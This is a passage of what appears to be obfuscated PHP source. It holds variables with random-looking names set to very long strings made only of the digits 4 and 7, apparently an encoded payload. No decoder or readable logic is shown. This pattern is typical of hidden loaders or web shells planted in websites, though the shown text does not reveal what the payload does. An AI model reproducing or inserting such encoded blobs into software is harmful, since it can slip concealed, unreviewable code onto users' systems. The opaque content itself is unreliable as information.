44444444474447444744444444444444444444444444444444444444444444444444474444444444444444444444474444444444444444444444474444444444444444444444474444444444474444444444444444444444444447444744474444444444444444444444474447444444444444444444444447444444444444444444444444444744444444444444474444444444444444444444444444444744444444444444444444444744444444444744444444444444444444444444444444444744474444444444444444444444444444444744474444444444444447444444444444444744474444444744474444444444474444444744474447444444474447444444474444444444474444444444474444444444444447444444444444444444444444444444444444444444444447444744444447444744444444444744444444444444474444444444444447444744444447444444";
        $_inpxe076311 = "44444744474444444444474444444444444444444444444444444444444444444744474447444444474444444444474447444444444444444444444444444444444444444444444444444444474447444444444444444444474444444444444444444444474447444744444444444744474444444744474444444444444444444444444444444744474447444444444444444744444444444744474447444444444444444444444444444444444447444444444444444444444444444444474447444444444444444444444444444444474444444744474447444444474447444744444444444444474447444744444444444444444447444444444444444744474444444744474444444444474444444744444447444444474447444444474444444444444444444444444444444444444444444744474447444444444447444744444444444444444444444744444447444444444447444444474444444744444444444744474447444744474447444444444444444444444444444444444447444444474444444444444447444444474444444444444444444744444444444444474444444444444444444744474447444444444447444444444444444444444444444444444444444444444444444444444447444744444444444444444444444444444447444444474444444444444444444444474444444744444447444444474444444444444447444444444444444444444447444744444444444444444444444444444444444444444447444444444444444444474444444444444447444444444447444444474447444444474447444444444444444444474444444444444444444444474444444444444444444444474444444744444444444444444444444444444444444744444444444444444444444744474444444744444444444444474447444744444444444744444444444444444444444444444444444444444444444444444444444444444447444444444444444444474444444444444447444444444447444444444444444444444444444744474444444444444444444444444444444444444444444444444444444444444444444744474444444444474444444444444447444444474444444744444444444744444444444444444447444444444447444744444444444444474447444444474447444444474444444744474447444444474444444444444444444444444447444744444447444744444444444444444444444744444447444444444444444744444447444444444444444444444444444744474447444444474444444744444444444444474444444744444444444744444447444744444444444444444444444744444447444444444444444744444447444444444447444444444444444444444444444744444444444444474444444444444444444444474447444444474444444744444444444744444444444444474444444444444444444444444447444444444444444444444447444444444447444744474444444744474444444444444444444744474444444744444444444444444447444444444444444444444444444444444447444744444444444444444447444444474444444444474444444744444447444444474444444444444447444744444444444444444447444444444444444444444447444444444444444444444444444744474444444744444444444744444444444444474447444444444444444444444447444444444444444444474447444444474444444444444444444744474444444444474444444444444444444444444444444444444444444444444444444744444444444444444444444444444447444444444444444444474444444444444447444744474447444444444444444744444447444444444444444744444447444444444447444444444444444444444444444444444444444444444447444744444444444444444447444444474444444444444444444444444444444444444444444744444444444744444447444444444444444744444447444744444447444744444444444744474444444444444444444444474444444444444444444444474447444444444447444744474447444444444444444744444444444444444447444444444444444444444444444744444444444444444444444744444444444444444444444744474444444744444447444444444444444444444447444444444444444444444444444444444447444444474444444444444444444444444444444444444444444744474447444744444444444444444444444444444444444744444444444444444444444744444447444744444444444444444447444444444444444444444447444444444447444444444444444444444444444444444447444444444444444744444444444744474447444444444444444444474444444444474444444444444447444744444444444744444444444444474444444444474447444444474444444744444447444444474447444444444444444444444444444744444444444444474444444744444447444444444447444444444447444444444444444444474444444444474444444444444447444744474447444444474444444444444444444444444444444444444447444744444444444444444444444444444444444444444444444744444447444744444444444444444444444444474444444444444447444444444444444444444444444744474447444744444444444444474447444444474444444444474447444444444444444744474444444444474444444444474444444444474444444744474444444444444447444444444444444744444444444444474444444744474444444444474444444444474444444444474444444744444444444444444444444744444444444444444444444444444447444444444444444744444444444444444444444744444444444444444444444444444444444744474447444444444447444444444444444744444444444444444444444744474444444444474444444444444444444744444444444444474444444444444444444444474444444444474447444444444444444444474444444444444444444444444447444444444447444744444444444744444444444744444444444444444447444444444447444444444444444444444447444444444444444444444447444444474444444444444444444444444444444444444444444444444444444444474447444744444444444444444447444744474444444444474444444744474447444444444444444444444444444444474444444744444447444444474447444444444444444444444444444444444444444444444444444444444444444444444444444444444447444444444444444744474444444444474444444444474444444444444447444444444447444444444444444444444447444444444444444444444447444444444444444744444444444444444447444444474444444744444444444444474444444744444444444744444444444444444447444444444444444444474444444444444444444444444447444444474447444444444444444444444444444444444447444444444444444444444447444444474444444444444444444444444444444444444447444444444444444444444444444444474447444444474447444744444444444444474447444444444444444744444447444444444444444444444447444444474444444444444444444444474444444444444444444444444444444444444447444444474444444744474447444444444444444444444444444444444444444744444447444744444444444444474447444744444444444444444444444444474447444744444444444444474447444444444444444444474444444444444447444444444444444444474447444444444444444444444444444444444444444744444447444744444444444444474444444744474444444744474444444744474444444444444444444744474444444444444444444444444444444444444444444744444444444444444444444744444444444444444444444444444444444444444447444444444444444444444444444444444447444744444444444444444447444444444444444744444444444444444444444444444447444444444444444444444444444744444444444444444444444744474447444444474444444444474444444444474444444444444444444444444444444744444444444444444444444444444444444444444444444444444444444444444444444744444444444444444447444744444447444744444444444444444444444444444447444744444447444744474444444444444444444444474444444444444444444444474444444444444444444444474444444444444444444444474444444444474444444444444444444444474444444444444444444444444444444444444444444444444447444444444444444444444444444744444444444444444444444444474447444744474444444444444444444444444444444444444444444444444444444744474444444744444447444444444444444444444444444744474444444444474444444444444447444444474447444744474444444444474444444444444444444744444444444444444444444444444444444744444447444744444444444444474444444444474447444444444444444444444444444444444444444444474444444444444444444444474444444444444444444444444447444444444444444444444444444444474444444744444447444744444444444444444444444444474447444444444444444444444444444444444447444744474444444444444444444444444447444444444444444444474444444444444447444744444444444444474444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444744444444444444444444444444474444444744444444444744444447444744444444444744444444444444444444444744444444444444444444444744444447444744474444444444444447444444444444444444474444444444444444444444444447444444474444444744474447444744444444444444444444444744474444444444474444444444474444444744444444444744474444444444444447444444444444444444474444444444444444444444444444444444444444444744444444444444474444444444444444444444444444444444474444444744474447444744444444444744474447444444444447444444444444444444444447444744474444444444444447444744444444444744474444444444444444444444444444444744444447444444444444444744444444444444444447444444474444444444444447444444444444444444474444444744474447444744444447444744474444444444474447444744474447444444474444444744444444444444474444444444444444444444444444444444474447444744444444444444474444444444474444444744474447444444444444444444474444444444444444444744444447444444474447444744474444444444444447444444444447444444474444444444444444444744474447444444474444444444444444444444444444444744444447444744474444444444444447444444444444444744474447444444444444444444444444444444444444444444444447444444444444444744474444444744444444444444444444444444474447444444444444444444444444444444444444444744444444444444444444444444444444444444444444444444444444444444444447444444444444444444444447444444444444444744444444444744444447444444444444444444444444444444444447444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444447444444474444444444474444444444444444444744444444444444474447444444444444444444444444444444444444444444444444444744444444444444474444444444444444444444444444444744444444444744474444444444444444444444444444444744444444444744444444444444444444444444474444444444444447444444444444444444444447444444474447444444444447444444444444444744474444444444474444444744444444444444474444444444444447444744444444444444474444444744474444444444474444444744444444444444444444444744444444444444444444444444444444444444444444444744444444444444474444444444444447444744444444444444444447444744474447444444474447444444474444444444444447444444444444444444474444444444444447444444444444444444444444444444444444444444444447444444444444444744444447444744444444444444474444444444444444444444444444444444444444444444444444444444474444444444444444444744444444444444474444444444474447444444474444444744444444444444444444444444474444444444444447444444444444444744474444444444474444444444474444444444444444444744474444444444444444444444444444444444474447444444444444444444444444444444444444444744444444444444474447444744474444444744474444444444474444444444444444444444444444444444444444444444474444444444444444444444444447444444444444444444444444444444474444444444444444444444474444444444474444444444444447444444444444444444444447444444444444444444444447444744444444444444444447444444444447444744444444444744444444444744444444444444474444444444444444444444474444444444474444444444444444444444444444444444444447444444474447444444444444444444474444444444444444444444444444444444444447444444444444444444444444444744444444444444444444444444444444444744444444444444444444444444444444444744444444444744444444444444444444444744444444444444474444444444474447444444444447444444444444444444474447444444444447444444474444444744444444444444444444444744444447444444444447444444474444444744444444444744444444444744444444444444474444444444444447444444474444444744444447444744444444444744444447444744444447444444444444444444444444444444474447444444444444444444444444444744444444444444474447444744444444444444444444444444444444444444444444444444474444444444444447444444474444444444474444444444474444444444474447444444444444444444444444444444444444444744444444444444444447444444444444444744444444444444444444444744444447444444444444444444444444444744444444444744444444444444444447444444444447444444444444444444444444444744444444444744444444444444444444444444474444444444474447444444474444444444474444444444444444444444444444444444444447444444444444444444444447444444444444444444444444444444444444444444444444444444444444444444444444444444474444444444444444444744444444444444474447444744444447444744444444444444444447444744474444444444474444444444444447444744474444444744474444444444474444444444444444444444444444444744474444444444474444444444474444444444444447444744444444444444474444444744474444444444444447444444444444444444474444444444474444444744474447444444444444444444444444444444444447444444444444444444444447444444444444444444474444444444444444444744444444444444474444444744444444444444444444444444474444444444474444444744444444444444444444444744444444444744444444444444444447444444444447444444474444444444474444444444444447444744444447444444444444444444474444444444444444444744444444444744474444444444444447444444444447444444444447444444444444444444474444444744444444444744444444444444444444444444444447444744444444444444444447444444444447444444474444444444444447444444444444444444444447444744444444444444474447444444444444444444474447444444474444444444474447444444444447444444444447444444444444444444444444444444444444444444444447444444444444444744444444444744474444444444444444444444444444444444474444444444474444444444444444444444474444444444444444444744474447444444474447444444444447444444444447444744474444444444444444444744444444444444474447444444474447444444444447444444444444444444444447444744444444444744444444444444474444444444474444444444444447444444474444444744444447444444444447444444444444444444444447444744444444444444444444444444444444444444444444444444474447444744444444444444444444444444444444444444474447444444444444444444444447444444444444444744444444444744444444444744444444444444444444444444444444444744444444444444474444444744444444444444444444444444444444444444474447444444444444444444444444444744444444444444444444444744474444444444444444444444444444444444474444444444444447444744444447444444444444444444444444444444444444444444474444444744474444444444444444444444444444444444444447444444444444444444474444444444474444444444444444444744444444444444444444444444444444444744444444444444474444444444444444444444444444444744444447444444474444444444444444444444444444444444444444444444474447444444474444444444444444444444444444444444444444444744444444444444444444444444444447444444444447444744444444444444474447444444444444444444444444444744444444444744474447444444474444444444444444444744444444444444474447444444474444444444444447444744444444444444474447444744474444444444444444444444444444444744444444444444444444444444444444444744474447444444474444444444444444444444444447444444474444444444444444444744444444444444474447444444444444444444444447444444444444444444444447444744474444444444474444444444474444444444444447444444444444444444444444444744444444444744474444444744444447444744444444444744444447444444444447444444474444444444444447444444474444444444444447444444474444444744444444444444444444444744444447444444444447444444444444444444474447444444474447444444474444444744444444444444474444444444474444444444444444444744444444444444474444444444474444444444444444444444474444444444474444444444444444444744444447444444444444444444474444444444444447444744444447444444444444444444444444444444474444444444444444444744444444444744444444444744474447444444444444444444444447444444444444444444474444444444444444444444444447444444444447444444444447444444474444444444444444444444474444444444444444444744444444444444444444444444474447444744444447444444474444444444474444444444444444444444444444444444444447444444444444444444444444444444444447444444474444444444444444444444474444444744474447444744444444444444474447444444474444444444474444444444444444444744444444444444444447444444474444444744444444444744444447444744444447444744444444444444444444444444474444444744444447444444474444444744474447444444444444444444474444444744474444444444444447444744474444444444444444444444444444444444444447444444444444444444444444444444474444444444444444444744444444444444444444444444444447444444474447444444444444444444444447444744444447444444444447444444474447444444444444444744474444444444444444444744474444444744444447444744444447444444444447444744444444444444444444444444444444444744474447444444444447444444444447444444444444444444444444444744444444444444444444444444444447444444444444444744444444444744474444444444474444444444444444444444474444444444444444444444444447444444474444444444444444444444444444444744444447444444444444444444474444444444444447444444444444444744444447444744444444444444474444444444444447444444474447444444444444444444444444444444444444444444444444444744444444444744444447444444444447444744444444444444444447444444474444444444444444444444444444444444444444444444444444444744444447444444444444444444444444444444444444444744444447444444474444444744474444444444444444444444444444444444474444444444474444444444474447444444474447444444474447444444444447444444474444444444444444444444444444444444444444444444444447444444444447444444444444444444444444444444444444444444474444444744444444444444444447444444444444444444474447444444474447444444444444444444444444444444444444444744444447444744444444444444444444444744444444444744474444444444444444444444444447444444474444444444444447444744444447444444444444444744444444444744444447444444474447444744444444444444444444444444444444444444444447444744444444444444474444444444444444444744444444444744444444444744474444444444444447444444444444444444444447444744444447444744444444444444444444444444444447444744444447444444444444444444444444444444444447444444444444444444444444444444444444444744444444444744474447444444444447444444444444444444444447444444474444444444444444444444474444444444444447444444444444444744444444444744444444444744444444444444444444444744444444444444474447444444444447444744474447444444474447444744474447444744474444444444444444444444444444444444444444444444444444444444444444444444474444444744444447444444444447444744444444444444444447444444444444444444444447444744444447444444444444444444444444444444444444444444444447444444444444444744444444444444474444444744474447444444474444444444444444444744444444444444474444444444444444444744444444444444444444444444444447444744474444444444444444444444474444444444474447444444444444444444444447444444444444444444444447444444444447444744444447444444474447444444444444444444474444444444444444444444444444444744444444444444444444444444474444444744474444444744444447444744474447444744444444444444474444444444444444444444444444444444474444444444474444444744474444444444444444444444444444444444444447444444444444444444444444444744444444444444444447444444444447444444444444444744444444444744444447444744444447444744444447444444444444444444444444444444444444444444444444444744444447444444444444444444444444444744444444444444444447444444474444444444474444444444444447444444444447444444444447444444444444444444444444444444474444444444474444444444474444444444444444444444444444444744444444444444444444444744444444444744444447444444474444444744444447444744444444444444444444444444474444444744444444444444474444444744444444444444474444444444444444444444444444444444444444444444474444444444444444444444444447444444444447444744444447444444444444444444444444444744444444444444474447444444444447444744444444444744444447444444444444444444444444444744444444444744444444444444474447444444444444444744474444444744444444444444474447444744444447444444444444444744444444444444444444444444444444444744444447444744444447444444444444444744444444444444444444444744444444444744444447444744444444444444444444444744474447444444444444444444444447444444444447444444444444444444444447444444444444444444444447444744444447444444474444444444474447444444444444444744444444444444444444444444444444444444444444444444474444444444444444444744444444444444444444444744474447444744444444444444474444444444444447444444444444444444444444444444474444444444474444444444444444444444474444444444444444444444444444444444444447444444444447444444444444444444444447444444474444444744444444444444444444444444444444444444444444444744444444444744474444444444444444444444474447444444474444444444444444444744474444444744444444444444444444444744444444444444444444444444474444444744474444444444444444444444474447444444444444444444444444444444474444444744444447444744474444444744474447444444444444444444474444444744474444444744444447444444444444444444474447444744474444444444444444444444444444444744444444444744444444444444474444444444444444444744444444444444444444444744474444444444444444444444444444444744474444444744444444444444444444444744444447444444444444444444444444444444444444444444474444444444474444444744444447444444444444444744444444444444474444444444474444444444444444444444474447444444444447444744474447444744444447444444474444444744444447444444444444444444444444444744444444444744444444444444474444444744474444444444444444444444444447444444444444444744474447444444474444444444444444444444444444444744444447444444444444444744444444444444444444444444444447444444474444444444444444444744474444444744444444444444444447444744474444444444444444444444444444444444444444444444474447444444444444444444474447444744444444444744474444444444444444444444474444444444444444444444444447444444444444444444444447444744444444444444444444444744444444444444444444444444474447444444444447444444444444444444444444444444474447444444444444444444444444444444444444444444474447444444474444444744444444444744444444444444444444444444474444444444474444444744474444444444444444444744444447444444444447444444444444444444474444444744444447444744444444444744444447444444444447444444444444444444444447444744474444444444444444444444444447444444474444444444444444444744444447444444444444444744444447444444444444444444474447444444444444444444444447444744444447444444444444444444444447444744444444444444444444444444444444444744444444444444444444444444444447444444444444444444474444444444474444444444444444444744444444444744444447444444444444444444444444444444444444444744444444444444474444444744444444444744474444444744444444444444444444444444444447444744444444444744474444444444444444444744474444444444444444444744444447444444444447444744444444444744474444444444444447444744444444444444474444444444474447444444444444444444444447444444444444444444474447444444444444444744474444444444444447444444444447444444444444444444444444444444444444444444444447444744444444444444444444444444474444444444444444444744444444444444444444444444444444444744444447444444444447444444444447444444444444444444444444444444444447444444444444444444474444444744444447444744444447444444444447444444444447444444444444444444444447444444444444444444474447444444474444444744444447444744474444444444474444444444474444444744474444444744444444444444444444444444474444444444444444444444444444444744444447444444474444444744474444444744444447444444444444444744444444444444444444444444444444444444474444444444474444444444444444444444444444444744444444444444444447444744474444444444444444444444444444444744444444444744444444444444474447444744474447444744444444444444444447444444444444444444474444444444444444444444444447444444444447444744444444444444444444444444444444444444444444444744444444444444444444444444444444444444444444444444444447444744474444444744474447444444474447444444474444444444444447444444444444444744474447444444444444444444444444444744444447444444444444444444444444444444474444444444444447444444474444444444444447444444474444444444474444444744474447444444474444444744444447444744444447444444444447444744474444444444444444444744444444444444444444444444444444444444474444444744444444444444444444444744474444444744444444444744444444444444444444444744444444444444444444444744444447444444444447444444444444444444444447444744444447444444444444444444444444444744444447444444474444444744444447444744444444444744444447444744474444444744444447444444444444444744444444444444474444444444474447444444444444444444474444444444444444444444444447444744474444444444444444444444444447444444444444444444474444444444474444444444444444444444444444444744444447444444444444444444474444444444474447444744474444444444444444444444444444444444444444444744474444444744474447444444444444444444474444444444444444444444444444444444444444444444474447444744474444444444474444444444444444444444444444444444474444444444444444444444474444444744444444444444444447444444474444444444444447444444444444444444444444444444444444444444474444444444444444444444474447444744444444444444444444444444444444444744444447444444444444444744444444444444444444444744444447444744444444444444444444444444444447444444444444444444444444444444444444444444444444444444444444444444444444444744474444444444474444444444444444444444444444444444444444444444474447444444474447444744474444444444444444444744444444444444444447444444444447444444444444444744474444444444444444444444444444444444444444444744444447444444444447444444444444444444444444444444474444444444474444444744444444444444444444444444444444444444474444444444474444444444444447444444444447444444474444444444444444444444444444444444444444444444444447444744444447444444444444444744444444444444444444444444474447444444474444444744444444444444474447444744444444444444444444444444444444444444474444444444444444444444444444444444474444444444474444444444474447444444474444444444474447444444444444444444444444444744444444444444444444444444444444444444444447444444474444444444474444444444444444444744474447444444444444444744444444444444444444444444444444444444444444444444444447444444444444444444444444444444444444444744474447444444444444444444474444444444444444444444444444444744474447444444444447444444444444444444474444444444444444444444444444444444444444444744444444444744474444444444444444444444444444444444474444444444444447444444444444444444444444444744444444444444474447444744474444444444474444444744444444444444474444444444474447444444444447444744444444444444444444444744444444444444444447444744444444444444474447444444444444444744444444444444474444444744444444444444474447444444444444444444444444444744444444444444444447444444444444444444474447444444444447444444444447444444444444444444474447444444444447444444474444444444444444444444444447444744474447444444474447444444474444444744444447444444474447444744444444444444474444444444474444444744444444444744444447444444444444444444474444444444444444444744474447444744474444444744444444444444474447444444474444444444444444444444474444444744444444444444444444444444444444444444474444444444444447444444444444444444474444444444444447444444444447444444474444444444444447444444444444444744474447444444474444444444474444444444444444444444444444444444444444444444474444444444444444444744474444444444474444444444444444444744444444444444444444444444444444444444474444444744444444444444444444444444444444444444474444444744444444444444444444444444474444444444444444444444444444444444444444444444444447444444444444444444444444444744444447444744474447444444444444444444444444444744474447444444444444444444474447444444444447444744444444444444444447444744444444444444474444444444444444444444444447444444474444444444444444444444444444444444474444444444474444444444444444444744444444444444444444444744444447444444444444444744444444444444444447444744444447444744444447444444444447444444444447444444474444444444474444444744474447444744444444444744444447444444444447444444444444444744444447444444444444444744444447444744444444444444444447444444474447444444444444444744444447444444444447444444444447444444444447444744444444444444444444444444444447444744444447444444444447444444474447444744444444444744444444444444444444444444444444444444444444444444444444444744444444444444474444444744444444444444444447444444474444444444444447444744444444444744444444444444444444444444444447444444444447444444444447444744444444444444444447444444444444444744474444444444444444444744444447444444474444444744444444444744474444444444444444444744444447444744474444444744444444444444444444444444474447444444444444444744444447444444444444444744444444444744474444444444444444444744444444444744444444444744444444444444444444444444444444444444444444444444474444444744474447444444444444444444444447444744444444444444444447444444474447444744474444444444444447444444474444444444444444444444444444444444444444444444474444444444444444444444444444444444474444444444444444444444444444444744444444444744444444444444444447444744444444444444444444444444444447444444444447444744444447444444444444444444444447444744444447444744444444444744444444444444444444444744444444444744474444444744444447444744444447444444474444444444444447444444444447444444444447444444444444444744444447444744444444444744444444444444444444444744444447444744474444444444474444444444444447444744474444444744444447444444444447444444444444444444444444444744444444444444444444444444444444444444444447444744444444444444444447444744474447444444444447444444444447444444444444444444474444444444444444444444444447444444444444444444474444444444444447444744474444444744444444444744444444444444444444444744474444444444444447444744444444444744444447444744444444444444444447444444444444444744444444444444444447444444444444444444474444444444444444444444444444444444444444444444444444444444474447444744474447444444444447444444474444444444474444444444444447444444444444444444444444444744444444444444444444444444444444444444444444444444474444444444444444444744444444444444444444444744444444444444444444444744444447444444474447444444444444444444474444444444474444444744444444444444444447444444444444444444474444444444474444444744474447444444474444444444444447444444474447444744444444444444444444444744474447444444474444444444444444444444444444444444474444444444474444444444444444444444444444444444444444444444444444444444474444444744474444444744444447444444474447444444444447444444474444444444474444444444444444444444444444444744444444444444444444444444474447444444444447444444444444444444444447444444444447444744444444444744444444444444444444444444444444444444444444444444474444444744444447444444444444444444444447444444444444444444444444444744444444444744444447444744444444444444444444444444444444444744474447444744444444444444474444444444444444444444444447444744444444444744474444444444444444444444444444444744474447444444444444444444444444444744444444444444444444444444444447444744444444444444444444444444444444444744474444444444444444444444444447444744444444444444444444444744444444444444474444444444444444444744444447444744444447444744444444444444444444444444474444444744444444444444444444444444444444444444474444444444474447444444444444444444444444444444474444444444444444444444474444444444474444444444444444444744444444444444474447444444444444444444444444444744474444444444444447444744444447444444444447444744444444444444474444444444444444444444444444444444444444444444444444444744444444444744474444444444474447444744444444444444444447444444444444444744474444444444444444444744474447444444444444444444474444444744444444444744444444444444444447444444444447444444444444444444474444444444444447444444444447444444444447444744444444444444444444444444474444444744474447444444474447444744474447444744474444444444444444444444444444444444444444444444444444444744444447444444474444444744474447444444444444444744444447444444444444444444444444444444444447444444444444444444444447444444474447444444444444444444474447444744444444444744444444444744444444444444444447444744444444444744444444444744444444444744474444444444474447444444474444444444444444444744474444444444444444444444444447444444444444444444474444444444444444444444474444444444444447444444444447444744474447444444444444444444474447444444444444444744444444444444444447444444444444444444474444444444444444444744444444444444444444444444444444444444444444444744444444444444444444444744474444444444444444444744444444444444444447444444444444444744444447444444444444444744474444444744444444444444444444444444444444444444474444444744444447444744444444444444444447444744474444444744444444444444474444444744444444444444444444444744474444444444444444444744444444444744474447444744444447444444444444444444444444444444444444444444444444444444444447444444444444444444444444444444444444444744444444444744444444444444444444444444474444444744444447444444474444444744444444444444444444444744474444444444444447444444474444444444444444444444444444444444444444444744474447444744444444444444444447444444444444444444444444444444444447444444474444444444444447444444474447444444444444444744444447444444444444444444444444444444444444444444444444444444444444444444444444444444474447444444474444444744444444444444474447444444444447444744444444444444474444444744474444444444444444444744444444444444444444444444444444444444474444444744444444444444444447444444444444444444444447444444444444444444474447444444444444444444444444444444444444444444474444444444444444444444444444444444444447444444444444444744444444444444444447444444444444444744444444444444444444444444444444444744474444444444474444444444474444444744444444444444444444444444474444444444474447444444444447444444444444444444474444444444444444444444474444444444444444444444474447444444474444444444444447444444444444444444444444444444474447444444444444444444474444444744444447444744444447444744444447444444444444444444444444444444444444444444474447444444474444444744474444444444474444444444444444444444474447444444474444444444474444444444444447444444444444444444444444444444444444444444444447444744444444444444444444444444444444444444474444444744444447444444444444444744444444444744444444444744474444444444474447444444444444444444444444444444474444444444444447444444474444444444444447444444474444444444444444444444474447444744474447444444444444444744444447444744474444444744444447444444444444444444444447444744444444444744444444444444444444444444474444444444444444444744444447444744444447444744474444444444474444444444474444444744444444444444444444444744444447444444444444444444474447444744444444444444444447444444444444444444444444444744444447444444474447444744444444444444444444444744444444444444444444444444444444444444444444444444444444444444474447444444444444444444444444444744444444444744444447444444474444444744474447444744474444444444444444444444444444444744444444444444474447444444444444444444444444444444444444444444444444444444474444444744444444444444444444444444444447444444474444444444444444444444444447444744444444444444444447444744474444444744474444444744474444444444444444444444444444444444444444444444474444444744474444444444444447444444444447444744444444444444474447444444444444444444444444444744444444444444444447444444444444444444444444444444474444444444474447444744444447444744444444444444474444444744444447444744474444444444444444444444444444444744444444444444474447444444474444444444444444444744474447444744444444444744444444444744444444444444444444444744444444444744444444444444444447444444444444444744474447444744444444444444444444444744444444444444444444444444444447444444444444444744444444444744444447444444444444444444444444444444444444444444444444444744474447444444444444444444474444444444444447444744444447444444474444444444474444444444444447444444444444444444444444444444444444444444444447444444444444444444474447444444444444444744444444444444474444444444444444444444444444444444444444444444444447444444444444444744474444444744444444444444474444444444444444444444444444444744444444444444444444444744474447444744444447444444444444444744444447444444474447444444474444444444444444444444474444444444444444444444444444444444444444444444444444444744474444444444444444444444474444444744444444444744444444444444474444444744444447444444444444444444474444444444444444444444474444444444444444444444444444444444444444444444444444444744444444444444444447444444444444444444474447444444444447444744444447444444444444444444474444444444444447444744444447444444444444444444474444444444474444444744444444444444444444444444474447444444474447444444474444444444444444444444474444444444474447444744444444444444444444444444444444444444444447444444444444444444474444444744474444444444444447444444444444444744474444444444444447444444444444444444444447444444444444444444444444444444444444444744444444444444444444444444444447444444444444444444444444444444444444444444444444444444444447444444444444444444474444444444474444444444444444444744474444444444444447444744444444444444444444444444474444444744444444444444444447444444444447444444444444444444444444444744444444444444474444444744444447444444444447444744474447444744444444444444444444444744444444444444444444444444474447444444444447444444444447444444444444444444444447444444444444444744474444444444444444444444474444444744474444444444444447444444444444444444474444444444474444444444444444444444474444444444444444444444444447444444444444444444444444444444444444444444444447444444444444444444444444444744444444444744474444444444444444444444444444444444474447444744444447444444444444444444474444444444474444444744444444444444474444444444474444444444474447444444444447444444444444444744444447444444444444444444444447444444444447444444474447444444474444444444444444444444444444444444444444444444444444444444474444444444444444444744474444444444444444444444474444444444444444444444444444444444474447444744474444444444474444444444474447444744474447444444444444444444444444444744444444444744444444444444444444444444474447444444444447444444444444444444444447444444444444444444474444444444444444444744444444444444444447444744444444444444444444444744444444444744444444444444474444444744444444444444444444444444444444444744444447444444474444444744474444444444444447444744474447444444444444444444474444444444474444444444444447444444444444444444444444444744444444444744444444444444444444444444474444444444444444444444444444444444444444444444444447444444444444444744474444444444444444444744474447444744474444444744444444444444474444444444444444444444444444444444444444444444474444444744474444444744474447444444474444444444444447444444444444444444444444444744444444444744444447444444444444444744474444444744444444444744444444444444444444444744444444444444444444444444444444444444444444444444444447444444444444444444444444444744444444444444444444444444444447444444444447444744474444444444444447444444444447444444444444444444444444444444444447444744444444444744444444444444444447444444444444444444444444444744474447444444444444444444444444444744444447444444444444444444444447444744444444444744474447444444444444444744444444444444444444444444444444444444444444444444474447444744444444444744444444444444444444444744474444444444444444444744444447444444474444444444444444444744444447444444474444444744444447444444444444444444444444444744474447444444444444444744474444444444474444444444444444444444474444444444444444444444444447444444444444444444444447444444474444444744444444444744444444444444444444444444474444444444444444444444474447444444444444444444444444444444474444444744474444444444444447444444444444444444444444444444474444444444444444444444444444444444474444444444474444444744444444444744474444444444444444444444444444444444444444444744474447444744444444444444444447444444444447444444444444444744444444444444474444444444444444444444474444444744474444444444444447444444444444444444444444444444444447444444444447444744474447444744444444444744474444444444444444444444444444444444444444444444444444444444444444444444444447444444444444444444444444444444444444444444444444444444444447444444474447444444474444444744474444444444474444444444474444444444444447444444444447444444444444444444444444444444444444444444444444444744444444444744444447444744444447444444444447444744474444444444444444444444444444444444444444444444444447444444444447444444444444444444474444444444474447444444444444444444444444444444444444444744444447444744444447444444444444444444444444444444444447444444474444444744444447444444474444444444474444444444474444444444444444444444444447444444474444444744444444444444444444444444474447444744474447444444474444444444474444444744444447444444444444444444444444444444444447444444444444444444474444444444444444444444474447444744444444444444444444444444474444444744444444444744474444444444474444444444444444444444444444444444444447444444444444444444444447444744444447444444444444444444444444444444474444444444474444444444444444444444444444444444444447444744444444444444444444444444474447444744444444444444474447444444444444444444444447444444444444444744474447444444444444444744444447444744444444444444444447444444474444444444444444444444444444444444444444444444444444444444474444444744444447444744474447444744444444444744444444444744444444444444444444444444444444444744444444444744444447444744444444444444444444444444474444444744444444444744444447444444444444444444444444444444444444444444444447444744444447444744474447444444444444444744444444444444474444444744444444444444444444444444474447444444444444444444474444444744444444444744444444444444444444444444444444444444474447444744474444444744474444444444444444444444474444444444474447444444474444444444444444444444444447444444474447444444444444444444474444444444474447444744444447444744444444444444444444444444444444444444474444444444444444444444444444444444474444444444474444444444474444444444474444444444444444444444444447444444444444444444444447444444444444444444444444444744444444444444444444444444444444444444444444444744444447444444444444444744444444444444444444444444444444444444474447444744444444444444444444444744444447444444444444444444444447444444444444444444474444444744444444444444444444444444474444444444444444444444444444444744444444444744444444444444474444444444444444444744444444444444444444444744444447444744474447444444444444444744444444444444444444444444474447444744474444444744474444444744474447444444444444444444444444444444444444444744444444444444444447444744474444444444444447444444444444444444474444444744474447444444444444444744444444444744474447444444444447444744444444444444444444444744474444444744444444444744444447444444444447444444444447444444444444444444444444444744444444444444444447444444444444444444444444444444444444444444444444444444474447444444474444444744444444444444474444444444444444444444474447444444444444444744474444444744444444444444444444444444444444444744474444444444444447444444444447444444474444444444444444444444474444444444444444444444444444444744444447444444444444444444474444444444444444444444474444444444474444444444444444444444444444444444444447444444444444444444444444444444474447444444444444444444474447444744474444444444444444444444474444444444444447444444444444444444444444444744444444444444474447444744444444444444474444444444474444444744474447444744474444444744444444444744444444444744444444444444444444444744444447444444444444444444474444444444474447444444444444444444444444444444444444";
        $_arrxdc71812 = "444444444444444444444444444444444444444744444444444444444447444444474444444744444447444444444447444444474444444744444447444444474444444444444444444744444447444444444444444744444447444444444444444444444444444444444444444444444447444444444444444744474444444444474444444744474444444744444444444444444444444444444444444744444444444744444447444444444444444744444444444444474447444744444447444444474444444444474444444744444447444744444447444444474447444444444447444444444447444444444444444744444444444744444444444744444447444744444447444444444444444744444447444444444444444744444444444444444444444444444447444444444447444744444444444444444444444744444444444444444444444444444447444444444447444444474444444444444444444744444444444444444444444444444447444444444444444444444444444444444447444444444444444444444447444444444447444444444444444444474444444444444444444744444444444744444447444444474444444444444444444744444444444444474444444444474444444744444447444444444444444744474444444744444444444444444444444444474444444744444444444744444444444444474447444444444444444444444444444444444447444444444444444444444444444444444444444744444447444444474444444444474444444444444444444444444447444444474444444444444444444444474447444444474444444444474444444444444447444444444444444444444444444444474444444444474444444744444447444444444444444444474444444444444444444444444444444444444444444444474444444744444444444744444444444744474444444444444447444444474447444444444444444744444444444744444444444444444444444744444447444444444444444444474444444444444444444444444444444444444444444444444444444444444444444444474447444444474444444444474444444444444444444444444444444444444444444444444444444444444447444444444444444444444444444444474447444744474444444444474447444444444447444444444444444444474447444444444444444744474447444744444447444744474444444444444444444444444444444444444447444744444447444744474444444444474444444444474444444444474444444444444444444744444447444444444444444744474447444444444444444444444447444444474447444744444444444444444447444444444444444444444447444444444444444444444444444444444444444444474444444444474444444444444444444444444447444744474444444444444447444744444444444744444447444744444444444444474444444444474444444444444444444444444444444444444444444444444447444744444444444444444447444444444447444744474444444444474447444444474444444444474444444444444447444444444447444444444447444744444447444444444444444444444447444744444444444444444447444444444444444444444